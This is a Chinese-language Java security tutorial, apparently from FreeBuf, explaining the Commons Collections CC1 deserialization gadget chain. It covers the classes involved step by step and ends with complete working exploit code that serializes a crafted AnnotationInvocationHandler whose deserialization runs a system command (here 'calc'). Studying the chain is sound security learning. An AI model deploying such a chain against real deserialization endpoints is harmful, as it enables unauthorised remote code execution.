前言
Apache Commons Collections 是一个由 Apache 软件基金会提供的开源 Java 库,它为 Java 标准集合 API 提供了丰富的扩展和补充。
在JAVA安全中必学的cc链由源于这个组件,因为其英文名字简称cc,所以反序列化链子称为cc链。目前往上公开的有7条链子,这篇文章将带大家首先认识cc1链,相信经过学习,后面几条链子的学习将会更加得心应手。
环境准备
CommonsCollections <= 3.2.1
java < 8u71(我是用的是8u66)
这里的jdk版本一定要设置对,不然无法复现,下面为CommonsCollections的maven依赖配置。
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
组件学习
漏洞发生点出现在cc组件的Tranformer接口,可以看到其书写了一个Transform抽象方法。
跟踪一下,看看哪些类实现了这个接口,这里我把需要研究的类提前标注了出来。
ConstantTransformer
构造方法将传入对象赋予给成员属性iConstant。
重写后的transform方法,如图返回iConstant的值,不论传入什么参数。
ChainedTransformer
构造方法传入一个Transformer类型数组,定义为成员属性iTransformers的值。
重写后的transform方法,进行transformer数组的遍历,首先将传入的参数作为第一个类作为第一个transfomer类执行transform方法的参数,将其得到的结果作为下一次执行transform的参数,循环至数组遍历完成。
InvokerTransformer
构造方法传入了三个参数,第一个给iMethodName,第二个给iParamTypes,第三个给iArgs。
可以看到transform方法执行了获取字解码文件,对象由传入参数设置,然后通过反射获取该类中的执行方法, iMethodName为方法名(构造函数第一个参数控制),iParamTypes为参数类型(构造函数第二个参数控制),执行方法参数为iArgs(构造函数第三个参数控制)。这个类就是我们最终执行命令的地方。
上述三类,就足以构造类的一部分了,给出一个代码方便理解。
import org.apache.commons.collections.functors.InvokerTransformer; public class test1 { public static void main(String[] args) { new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime()); } }
成功执行命令,光看类的构造可能不方便理解,我们再详细写出执行transform方法的内部流程。
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Runtime runtime = Runtime.getRuntime(); Class<? extends Runtime> aClass = runtime.getClass(); Method exec = aClass.getMethod("exec", String.class); exec.invoke(runtime,"calc"); } }
相信大家经过前面反射的学习,这段代码就很好理解了,那么我们就构造链子的第一部分。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//Runtime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//Runtime.getRuntime()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//Runtime.getRuntime().exec("calc")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
解释一下代码逻辑 ,创建一个ChainedTransformer对象,执行其transform方法,会开始遍历执行。首先执行ConstantTransformer的transform方法返回Runtime类的字节码文件;将Runtime的字节码文件传入下面两次最后执行了弹计算机的命令。这里用动调给大家证明下。
第一轮获取Runtime字节码。
第二轮获取Runtime的getRuntime方法。
第三轮获取实例。
第四轮就是执行命令弹出计算机了。那么我们就改下一步了,找到一个类能够执行transform方法,并且被调用类由我们自定义。
TransformedMap
这里构造方法是private修饰,这就说明了无法外部调用,我们看看有没有其他方法可以生成新的实例。
内部书写的decorate方法,可以绕过构造函数返回对象,达到构造函数的效果。
checkVakue方法就完美符合我们的需求,调用类可控,能够执行其transform方法。
AbstractInputCheckedMapDecorator
其是TransformedMap的父类。
构造方法给parent值。
setValue方法内部调用checkValue,并且parent我们可以设置为TransfomedMap,这里我们的目标就切换到了哪里调用了setValue。
AnnotationInvocationHandler
构造方法。
这个类一看,我勒个豆,他继承了Serializeble接口,这不是天然的反序列化胚子么,我们再确认下。
哎呦,你干嘛。你怎么这就出来了,可以看到重写readobject方法,干他就完事了,开始反序列化吧。
cc1链子构造
readobject关键代码在调用setValue之前还有两个if,我们得成功绕过,分析一下。
这里的type是构造方法第一个传入参数,我们可控,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称。我们这里可以以设置为target,其具有成员变量value,具体细节可以自己学习一些,这里不是重点(绝对不会我是我偷懒^_^)。
链子代码如下
import com.sun.xml.internal.ws.encoding.MtomCodec; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class cctest { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("cc1.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); } public static void deserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(filename); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value","1"); Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, decorate); serialize(o); deserialize("cc1.bin"); } }
解释下逻辑,首先我们肯定得构造一个AnnotationInvocationHandler类,支持我们进行反序列化,第一个参数设置为Target.class,并且TransformedMap第一个参数map.put("value","1"),绕过if判断,第二个参数设置为TransformedMap类,用过decorate方法生成,之后执行TransformedMap类的setValue,进而调用了checkSetValue,其进行了查询TransformedMap第三个值,这是我们设置的是我们自己构建的chainedTransformer类,执行其中的transfom方法,还记得我们之前说的么 ,最后就能出来一个链子执行命令,忘记的话可以翻回去再看一下。
这里可能就有人会问setValue那个参数没影响么?
很容易理解,这个参数最终传到chainedTransformer,别忘了这个数组第一个是ConstantTransformer类,他执行transform方法时,不管传入参数是啥,都只会返回预先构造设置好的值,也就是我们的Runtime,这就是整条链子的构造。
结语
如果能够看完这篇文章,说明你也下定决心学习java安全了,但是我们要明白这只是cc1,道途坚远啊,同志仍需努力。
看了下网上的分析,总感觉不适合初入的小白阅读,因此本篇文章虽也有一定门槛,但还是以最简单的言语阐述,下篇文章继续分析其他链子。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)